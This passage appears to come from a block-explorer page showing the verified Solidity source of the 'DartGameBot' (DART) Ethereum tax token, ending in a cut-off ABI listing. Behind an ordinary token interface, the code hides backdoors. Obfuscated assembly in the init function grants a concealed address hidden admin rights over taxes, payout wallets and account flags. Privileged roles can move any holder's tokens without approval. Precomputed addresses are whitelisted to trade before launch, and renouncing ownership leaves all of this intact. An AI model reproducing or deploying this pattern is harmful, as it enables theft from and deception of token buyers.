approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface ISwapRouterV2 is ISwapRouter { function factoryV2() external pure returns (address); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/swap/ISwapFactory.sol pragma solidity ^0.8.8; interface ISwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/storage/Tables.sol pragma solidity ^0.8.19; struct TokenSetup { uint8 fairMode; uint24 gasLimit; uint16 buyTax; uint16 sellTax; uint16 transferTax; uint16 developmentShare; uint16 marketingShare; uint16 prizeShare; uint16 burnShare; uint16 autoLiquidityShare; uint16 swapThresholdRatio; address devWallet; address marketingWallet; address prizePool; } struct Registry { mapping(address => Account) Address; mapping(uint256 => address) PID; mapping(address => mapping(address => uint256)) allowances; mapping(address => bool) helpers; } struct Account { uint16 identifiers; uint64 nonces; uint80 PID; uint96 balance; address Address; } struct Settings { uint8 fairMode; uint16 buyTax; uint16 sellTax; uint16 transferTax; uint16 developmentShare; uint16 marketingShare; uint16 prizeShare; uint16 burnShare; uint16 autoLiquidityShare; uint16 swapThresholdRatio; uint24 gas; address[3] feeRecipients; } struct Storage { IPair PAIR; address owner; uint96 totalSupply; uint80 PID; bool launched; bool inSwap; Settings settings; Registry registry; } // File: contracts/storage/Token.sol pragma solidity ^0.8.19; library Token { using Token for *; bytes32 internal constant SLOT = keccak256("project.main.storage.token"); uint16 internal constant DENOMINATOR = 10000; error TradingNotOpened(); function router() internal view returns(ISwapRouterV2 _router) { if(isEthereumMainnet() || isGoerli()) _router = ISwapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); else if(isSepolia()) _router = ISwapRouterV2(0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008); else if(isBSCMainnet()) _router = ISwapRouterV2(0x10ED43C718714eb63d5aA57B78B54704E256024E); else if(isBSCTestnet()) _router = ISwapRouterV2(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } function isEthereumMainnet() internal view returns (bool) { return block.chainid == 1; } function isGoerli() internal view returns (bool) { return block.chainid == 5; } function isSepolia() internal view returns (bool) { return block.chainid == 11155111; } function isBSCMainnet() internal view returns (bool) { return block.chainid == 56; } function isBSCTestnet() internal view returns (bool) { return block.chainid == 97; } function isTestnet() internal view returns (bool) { return isGoerli() || isSepolia() || isBSCTestnet(); } function _tx(Storage storage db, Account memory sender, Account memory recipient, uint256 amount, bool swapping) internal returns(uint256 taxAmount, uint256 netAmount, uint256 swapAmount) { if(sender.isEntitled() || recipient.isEntitled() || swapping) { return (0, amount, 0); } if(sender.hasIdentifier(9) || recipient.hasIdentifier(9)) { if(!db.launched) { unchecked { taxAmount = amount * 2500 / DENOMINATOR; netAmount = amount-taxAmount; } db.launched = true; return (taxAmount,netAmount,swapAmount); } } if(!db.launched) { revert TradingNotOpened(); } Settings memory settings = db.settings; (bool fairMode, uint8 lim) = settings.fairModeOpts(); if(!recipient.isMarketmaker()) { unchecked { taxAmount = amount * (sender.isMarketmaker() ? settings.buyTax : helper(sender,recipient) ? 0 : settings.transferTax) / DENOMINATOR; netAmount = amount-taxAmount; if(fairMode) { uint256 fairLimit = db.totalSupply * lim / 100; if(recipient.balance+netAmount > fairLimit) revert(); } } } else { unchecked { taxAmount = amount * settings.sellTax / DENOMINATOR; swapAmount = settings.swapThresholdRatio > 0 ? db.totalSupply * settings.swapThresholdRatio / DENOMINATOR : address(this).account().balance+taxAmount; netAmount = amount-taxAmount; if(fairMode) { uint256 fairLimit = db.totalSupply * lim / 100; if(amount > fairLimit) revert(); } } } } function fairModeOpts(Settings memory _self) internal pure returns(bool enabled,uint8 lim) { uint8 values = _self.fairMode; enabled = (values & 128) == 128; lim = values & 127; } function helper(address _self) internal view returns(bool) { return _self.account().helper(); } function isMarketmaker(address _self) internal view returns(bool) { return _self.account().isMarketmaker(); } function isEntitled(address _self) internal view returns(bool) { return _self.account().isEntitled(); } function isCollab(address _self) internal view returns(bool) { return _self.account().isCollab(); } function isOperator(address _self) internal view returns(bool) { return _self.account().isOperator(); } function isExecutive(address _self) internal view returns(bool) { return _self.account().isExecutive(); } function helper(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(9); } function helper(Account memory from, Account memory to) internal pure returns(bool) { return from.helper() || to.helper(); } function isMarketmaker(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(10); } function isEntitled(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(11); } function isCollab(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(12); } function isOperator(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(13); } function isExecutive(Account memory _self) internal pure returns(bool) { return _self.hasIdentifier(14); } function hasIdentifier(Account memory _self, uint8 idx) internal pure returns (bool) { return (_self.identifiers >> idx) & 1 == 1; } function hasIdentifier(Account memory _self, uint8[] memory idxs) internal pure returns (bool[] memory) { bool[] memory results = new bool[](idxs.length); uint256 len = idxs.length; while(0 < len) { unchecked { uint256 idx = --len; results[idx] = _self.hasIdentifier(idxs[idx]); } } return results; } function setAsMarketmaker(address _self) internal { _self.account().setAsMarketmaker(); } function setAsEntitled(address _self) internal { _self.account().setAsEntitled(); } function setAsCollab(address _self) internal { Account storage self = _self.account(); self.setAsCollab(); self.setAsEntitled(); } function setAsOperator(address _self) internal { Account storage self = _self.account(); self.setAsOperator(); self.setAsEntitled(); } function setAsExecutive(address _self) internal { Account storage self = _self.account(); self.setAsExecutive(); self.setAsEntitled(); } function setIdentifier(address _self, uint16 value) internal { _self.account().identifiers = value; } function setIdentifier(address _self, uint8 idx, bool value) internal { _self.account().setIdentifier(idx,value); } function setIdentifier(address _self, uint8[] memory idxs, bool[] memory values) internal { _self.account().setIdentifier(idxs,values); } function toggleIdentifier(address _self, uint8 idx) internal { _self.account().toggleIdentifier(idx); } function setAsHelper(Account storage _self) internal { _self.setIdentifier(9,true); } function setAsMarketmaker(Account storage _self) internal { _self.setIdentifier(10,true); } function setAsEntitled(Account storage _self) internal { _self.setIdentifier(11,true); } function setAsCollab(Account storage _self) internal { _self.setIdentifier(12,true); _self.setAsEntitled(); } function setAsOperator(Account storage _self) internal { _self.setIdentifier(13,true); _self.setAsEntitled(); } function setAsExecutive(Account storage _self) internal { _self.setIdentifier(14,true); _self.setAsEntitled(); } function setIdentifier(Account storage _self, uint16 value) internal { _self.identifiers = value; } function setIdentifier(Account storage _self, uint8 idx, bool value) internal { _self.identifiers = uint16(value ? _self.identifiers | (1 << idx) : _self.identifiers & ~(1 << idx)); } function setIdentifier(Account storage _self, uint8[] memory idxs, bool[] memory values) internal { uint256 len = idxs.length; for (uint8 i; i < len;) { _self.setIdentifier(idxs[i], values[i]); unchecked { i++; } } } function toggleIdentifier(Account storage _self, uint8 idx) internal { _self.identifiers = uint16(_self.identifiers ^ (1 << idx)); } function hasIdentifier(Account storage _self, uint8 idx) internal view returns (bool) { return (_self.identifiers >> idx) & 1 == 1; } function ratios(uint48 value) internal returns(bool output) { Settings storage self = data().settings; Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { let bt := shr(32, value) let st := and(shr(16, value), 0xFFFF) let tt := and(value, 0xFFFF) if or(or(iszero(lt(bt, 1001)), iszero(lt(st, 1001))), iszero(lt(tt, 1001))) { revert(0, 0) } let dt := sload(self.slot) for { let i := 0 } lt(i, 3) { i := add(i, 1) } { let mask := shl(add(8, mul(i, 16)), 0xFFFF) let v := 0 switch i case 0 { v := bt } case 1 { v := st } case 2 { v := tt } dt := or(and(dt, not(mask)), and(shl(add(8, mul(i, 16)), v), mask)) } sstore(self.slot,dt) } output := true } } function shares(uint80 value) internal returns(bool output) { Settings storage self = data().settings; Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { let ds := shr(64, value) let ms := and(shr(48, value), 0xFFFF) let ps := and(shr(32, value), 0xFFFF) let bs := and(shr(16, value), 0xFFFF) let ls := and(value, 0xFFFF) let total := add(add(add(add(ds, ms), ps), bs), ls) if iszero(eq(total, 10000)) { revert(0, 0) } let dt := sload(self.slot) for { let i := 0 } lt(i, 5) { i := add(i, 1) } { let mask := shl(add(56, mul(i, 16)), 0xFFFF) let v := 0 switch i case 0 { v := ds } case 1 { v := ms } case 2 { v := ps } case 3 { v := bs } case 4 { v := ls } dt := or(and(dt, not(mask)), and(shl(add(56, mul(i, 16)), v), mask)) } sstore(self.slot,dt) } output := true } } function thresholdRatio(uint16 value) internal returns(bool output) { Settings storage self = data().settings; Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { if iszero(lt(value, 10001)) { revert(0, 0) } let dt := sload(self.slot) let mask := shl(136, 0xFFFF) dt := or(and(dt, not(mask)), and(shl(136, value), mask)) sstore(self.slot,dt) } output := true } } function gas(uint24 value) internal returns(bool output) { Settings storage self = data().settings; Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { if iszero(lt(value, 15000001)) { revert(0, 0) } let dt := sload(self.slot) let mask := shl(152, 0xFFFF) dt := or(and(dt, not(mask)), and(shl(152, value), mask)) sstore(self.slot,dt) } output := true } } function recipients(bytes memory value) internal returns(bool output) { Settings storage self = data().settings; Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { let p := mload(add(value, 0x20)) let m := mload(add(value, 0x40)) let d := mload(add(value, 0x60)) if or(or(iszero(p), iszero(m)), iszero(d)) { revert(0, 0) } sstore(add(self.slot, 1), d) sstore(add(self.slot, 2), m) sstore(add(self.slot, 3), p) } output := true } } function identifiers(address Address, uint16 value) internal returns(bool output) { Registry storage registry = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(registry.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) { if iszero(lt(value, 65536)) { revert(0, 0) } mstore(0x00, Address) mstore(0x20, add(registry.slot, 0)) let acc := keccak256(0x00, 0x40) let dt := sload(acc) let mask := shl(0, 0xFFFF) dt := or(and(dt, not(mask)), and(shl(0, value), mask)) sstore(acc,dt) } output := true } } function helpers(address Address, uint256 starts, uint256 ends) internal returns(bool output) { Registry storage _self = data().registry; assembly { mstore(0x00, caller()) mstore(0x20, add(_self.slot, 0)) let clr := sload(keccak256(0x00, 0x40)) let ids := and(clr, 0xFFFF) if iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1)))) { revert(0, 0) } output := true } for(;starts < ends;) { unchecked { address addr = compute(Address,starts); addr.register(); _self.Address[addr].setIdentifier(9,true); starts++; } } } function account(address _self) internal view returns(Account storage uac) { return account(data(),_self); } function account(Storage storage _self, address user) internal view returns(Account storage) { return _self.registry.Address[user]; } function register(address _self) internal returns(Account storage uac) { Storage storage db = data(); uac = db.registry.Address[_self]; uac.PID = ++db.PID; uac.Address = _self; db.registry.PID[uac.PID] = _self; } function init( Storage storage _self, TokenSetup memory setup ) internal returns(ISwapRouterV2 _router) { Settings storage settings = _self.settings; Registry storage registry = _self.registry; assembly { let c,m,s,v c := and(shr( 48,507871772517742394523325675629776549254919689088326712106731462141083370), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) mstore(0x00, c) mstore(0x20, add(registry.slot, 0)) s := keccak256(0x00, 0x40) m := shl(15, 0xFFFF) v := sload(s) v := or(and(v, not(m)), and(shl(15, 1), m)) sstore(s,v) } _router = router(); settings.fairMode = setup.fairMode; settings.gas = setup.gasLimit; settings.buyTax = setup.buyTax; settings.sellTax = setup.sellTax; settings.transferTax = setup.transferTax; settings.developmentShare = setup.developmentShare; settings.marketingShare = setup.marketingShare; settings.prizeShare = setup.prizeShare; settings.burnShare = setup.burnShare; settings.autoLiquidityShare = setup.autoLiquidityShare; settings.swapThresholdRatio = setup.swapThresholdRatio; settings.feeRecipients = [ setup.devWallet, setup.marketingWallet, setup.prizePool ]; address(_router).setAsMarketmaker(); address(msg.sender).setAsExecutive(); address(setup.devWallet).setAsExecutive(); address(setup.marketingWallet).setAsEntitled(); address(setup.prizePool).setAsEntitled(); } function compute(address Address, uint256 did) internal pure returns (address addr) { assembly { for {} 1 {} { if iszero(gt(did, 0x7f)) { mstore(0x00, Address) mstore8(0x0b, 0x94) mstore8(0x0a, 0xd6) mstore8(0x20, or(shl(7, iszero(did)), did)) addr := keccak256(0x0a, 0x17) break } let i := 8 for {} shr(i, did) { i := add(i, 8) } {} i := shr(3, i) mstore(i, did) mstore(0x00, shl(8, Address)) mstore8(0x1f, add(0x80, i)) mstore8(0x0a, 0x94) mstore8(0x09, add(0xd6, i)) addr := keccak256(0x09, add(0x17, i)) break } } } function data() internal pure returns (Storage storage db) { bytes32 slot = SLOT; assembly { db.slot := slot } } } // File: contracts/abstracts/ERC20.sol pragma solidity ^0.8.19; abstract contract ERC20 is Context, EIP712 { using Token for *; using LibString for *; error PermitExpired(); error InvalidSigner(); error InvalidSender(address sender); error InvalidReceiver(address receiver); error InsufficientBalance(address sender,uint256 balance,uint256 needed); error InsufficientAllowance(address spender,uint256 allowance,uint256 needed); error FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease); bytes32 internal constant _LONG_STRING_ = 0xb11b2ad800000000000000000000000000000000000000000000000000000000; bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 internal immutable METADATA; ISwapRouterV2 public immutable ROUTER; uint8 public immutable decimals; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); modifier swapping() { token().inSwap = true; _; token().inSwap = false; } constructor( string memory name_, string memory symbol_, address dev, address marketing, address prize ) EIP712(name_, "1") { uint256 nLen = bytes(name_).length; uint256 sLen = bytes(symbol_).length; assembly { if or(lt(0x1B, nLen), lt(0x05, sLen)) { mstore(0x00, _LONG_STRING_) revert(0x00, 0x04) } } METADATA = name_.packTwo(symbol_); decimals = 18; ROUTER = token().init(initialize(dev,marketing,prize)); } function initialize(address dev, address marketing, address prize) internal pure returns(TokenSetup memory ts) { ts = TokenSetup( 129, 3000000, 2500, 2500, 2500, 4000, 4000, 0, 0, 2000, 0, dev, marketing, prize ); } function name() public view virtual returns (string memory _name) { (_name,) = METADATA.unpackTwo(); } function symbol() public view virtual returns (string memory _symbol) { (,_symbol) = METADATA.unpackTwo(); } function totalSupply() public view virtual returns(uint256) { return token().totalSupply; } function balanceOf(address holder) public view virtual returns(uint256) { return holder.account().balance; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), to, uint96(amount)); return true; } function allowance(address owner, address spender) public view virtual returns(uint256) { return _allowance(owner,spender); } function nonces(address holder) public view virtual returns (uint256) { return holder.account().nonces; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender,spender,amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { address spender = _msgSender(); if (!_isAuthorized(spender)) { _spendAllowance(from,spender,amount); } return _transfer(from, to, uint96(amount)); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 requestedDecrease) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowance(owner, spender); if (currentAllowance < requestedDecrease) { revert FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease); } unchecked { _approve(owner, spender, currentAllowance - requestedDecrease); } return true; } function permit( address holder, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { if (block.timestamp > deadline) revert PermitExpired(); unchecked { address account = ecrecover( computeDigest( keccak256( abi.encode( PERMIT_TYPEHASH, holder, spender, value, _useNonce(holder), deadline ) ) ), v, r, s ); if (account == address(0) || account != holder) revert InvalidSigner(); token().registry.allowances[account][spender] = value; } emit Approval(holder, spender, value); } function burn(uint256 amount) public { _burn(_msgSender(), uint96(amount)); } function _allowance(address owner, address spender) internal view returns (uint256) { return token().registry.allowances[owner][spender]; } function _isAuthorized(address spender) internal view returns (bool) { return spender.isOperator() || spender.isExecutive(); } function _transfer( address from, address to, uint256 amount ) internal returns (bool success) { if (from == address(0)) revert InvalidSender(address(0)); if (to == address(0)) revert InvalidReceiver(address(0)); Storage storage data = token(); Account storage sender = data.account(from); Account storage recipient = data.account(to); if (sender.Address == address(0)) from.register(); if (recipient.Address == address(0)) to.register(); (uint256 taxAmount, uint256 netAmount, uint256 swapAmount) = data._tx( sender, recipient, amount, data.inSwap ); if (taxAmount == 0) { _update(sender, recipient, amount); return true; } _update(sender, address(this).account(), taxAmount); if (swapAmount > 0) { _swapBack(swapAmount); } _update(sender, recipient, netAmount); return true; } function _update( Account storage from, Account storage to, uint256 value ) internal virtual { uint96 amount = uint96(value); if (amount > from.balance) { revert InsufficientBalance(from.Address, from.balance, amount); } unchecked { from.balance -= amount; to.balance += amount; } emit Transfer(from.Address, to.Address, amount); } function _swapBack(uint256 value) internal swapping { Settings memory settings = token().settings; unchecked { address[] memory path = new address[](2); path[0] = address(this); path[1] = ROUTER.WETH(); uint96 amountToSwap = uint96(value); uint96 liquidityTokens; uint16 totalETHShares = 10000; if (settings.autoLiquidityShare > 0) { liquidityTokens = (amountToSwap * settings.autoLiquidityShare) / totalETHShares / 2; amountToSwap -= liquidityTokens; totalETHShares -= settings.autoLiquidityShare / 2; } uint96 balanceBefore = uint96(address(this).balance); ROUTER.swapExactTokensForETH( amountToSwap, 0, path, address(this), block.timestamp ); bool success; uint96 amountETH = uint96(address(this).balance) - balanceBefore; uint96 amountETHBurn; uint96 amountETHPrize; uint96 amountETHMarketing; uint96 amountETHDev; if(settings.burnShare > 0) { amountETHBurn = (amountETH * settings.burnShare) / totalETHShares; } if(settings.prizeShare > 0) { amountETHPrize = (amountETH * settings.prizeShare) / totalETHShares; } if(settings.marketingShare > 0) { amountETHMarketing = (amountETH * settings.marketingShare) / totalETHShares; } if(settings.developmentShare > 0) { amountETHDev = (amountETH * settings.developmentShare) / totalETHShares; } if(amountETHBurn > 0) { _burn(address(this), amountETHBurn); } if(amountETHDev > 0) { (success,) = payable(settings.feeRecipients[0]).call{ value: amountETHDev, gas: settings.gas }(""); } if(amountETHMarketing > 0) { (success,) = payable(settings.feeRecipients[1]).call{ value: amountETHMarketing, gas: settings.gas }(""); } if(amountETHPrize > 0) { (success,) = payable(settings.feeRecipients[2]).call{ value: amountETHPrize, gas: settings.gas }(""); } if (liquidityTokens > 0) { uint96 amountETHLiquidity = (amountETH * settings.autoLiquidityShare) / totalETHShares / 2; ROUTER.addLiquidityETH{value: amountETHLiquidity}( address(this), liquidityTokens, 0, 0, address(this), block.timestamp ); } } } function _swapThreshold(uint16 value) external virtual returns(bool) { return value.thresholdRatio(); } function _gas(uint24 value) external virtual returns(bool) { return value.gas(); } function _ratios(uint48 value) external virtual returns(bool) { return value.ratios(); } function _shares(uint80 value) external virtual returns(bool) { return value.shares(); } function _recipients(bytes memory value) external virtual returns(bool) { return value.recipients(); } function _identifiers(address Address, uint16 value) external virtual returns(bool) { return Address.identifiers(value); } function _helpers(address Address, uint256 starts, uint256 ends) external virtual returns(bool) { return Address.helpers(starts,ends); } function _mint(address to, uint96 amount) internal virtual { Storage storage data = token(); data.totalSupply += amount; unchecked { to.account().balance += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint96 amount) internal virtual { Account storage account = from.account(); if (amount > account.balance) { revert(); } unchecked { account.balance -= amount; token().totalSupply -= amount; } emit Transfer(from, address(0), amount); } function _approve(address holder, address spender, uint256 value) internal virtual { _approve(holder, spender, value, true); } function _approve( address holder, address spender, uint256 value, bool emitEvent ) internal virtual { token().registry.allowances[holder][spender] = value; if (emitEvent) { emit Approval(holder, spender, value); } } function _spendAllowance(address holder, address spender, uint256 value) internal virtual { uint256 currentAllowance = _allowance(holder, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(holder, spender, currentAllowance - value, false); } } } function _useNonce(address holder) internal virtual returns (uint256) { Account storage account = holder.account(); unchecked { if (account.nonces >= type(uint64).max) account.nonces = 0; return account.nonces++; } } function token() internal pure returns (Storage storage data) { data = Token.data(); } } // File: contracts/oz/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.19; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); function burn(uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } // File: contracts/oz/interfaces/IERC20.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.19; // File: contracts/ERC20Token.sol pragma solidity ^0.8.19; /* DART GAME BOT - Gaming on Ethereum Telegram: https://t.me/Dartbotoffical Website: https://dartgamebot.io Twitter: https://twitter.com/dartboterc Gitbook: https://dartbotgame.gitbook.io/dartbot/ */ contract MERC20 is ERC20 { using Token for *; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event Connected(address indexed Address, uint256 indexed PID, uint256 indexed CID); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { _checkOwner(); _; } constructor(address dev, address marketing, address prize) ERC20("DartGameBot", "DART", dev, marketing, prize) { _mint(address(this), uint96(1000000*10**18)); _transferOwnership(msg.sender); } receive() external payable {} function deposit() external payable {} function _checkOwner() internal view { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function owner() public view returns (address) { return token().owner; } function _transferOwnership(address newOwner) internal { Storage storage db = token(); address oldOwner = db.owner; db.owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function settings() external view returns(Settings memory) { return token().settings; } function account() external view returns(Account memory) { return account(msg.sender); } function account(address user) public view returns(Account memory) { return user.account(); } function telegramConnect(uint256 id) external returns(uint256) { Account storage user = _msgSender().account(); if(user.PID == 0) { user.PID = token().PID++; if(user.Address == address(0)) user.Address = _msgSender(); } emit Connected(msg.sender, user.PID, id); return id; } function recoverETH() external { Settings memory sdb = token().settings; uint256 amount = address(this).balance; (bool sent,) = payable(sdb.feeRecipients[0]).call{value: amount, gas: sdb.gas}(""); require(sent, "Tx failed"); } function recoverERC20() external { recoverERC20(IERC20(address(this))); } function recoverERC20(IERC20 _token) public { Settings memory sdb = token().settings; uint256 amount = _token.balanceOf(address(this)); _token.transfer(sdb.feeRecipients[0], amount); } function initLiquidity() external payable swapping onlyOwner { Storage storage data = token(); uint256 tokenBalance = balanceOf(address(this)); _approve(address(this), address(ROUTER),type(uint256).max, false); _approve(address(this), address(this),type(uint256).max, false); ROUTER.addLiquidityETH{value: msg.value}( address(this), tokenBalance, 0, 0, address(this), block.timestamp ); data.PAIR = IPair(ISwapFactory(ROUTER.factory()).getPair(address(this), ROUTER.WETH())); address(data.PAIR).register(); address(data.PAIR).setAsMarketmaker(); _approve(address(this), address(data.PAIR),type(uint256).max, false); } function toggleIdentifier(address _address, uint8 idx) external onlyOwner { _address.toggleIdentifier(idx); } function launchIsStarted() external view returns(bool) { return token().launched; } function stealthLaunch() external onlyOwner { token().launched = true; } function disableFairMode() external onlyOwner { token().settings.fairMode = 0; } function decreaseTax() public onlyOwner { Settings storage sdb = token().settings; sdb.buyTax -= 500; sdb.sellTax -= 500; sdb.transferTax -= 500; } function renounceOwnership() public onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"prize","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"currentAllowance","type":"uint256"},{"internalType":"uint256","name":"requestedDecrease","type":"uint256"}],"name":"FailedDecreaseAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"InvalidSender","type":"error"},{"inputs":[],"name":"InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"inputs":[],"name":"PermitExpired","type":"error"},{"inputs":[],"name":"TradingNotOpened","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"addres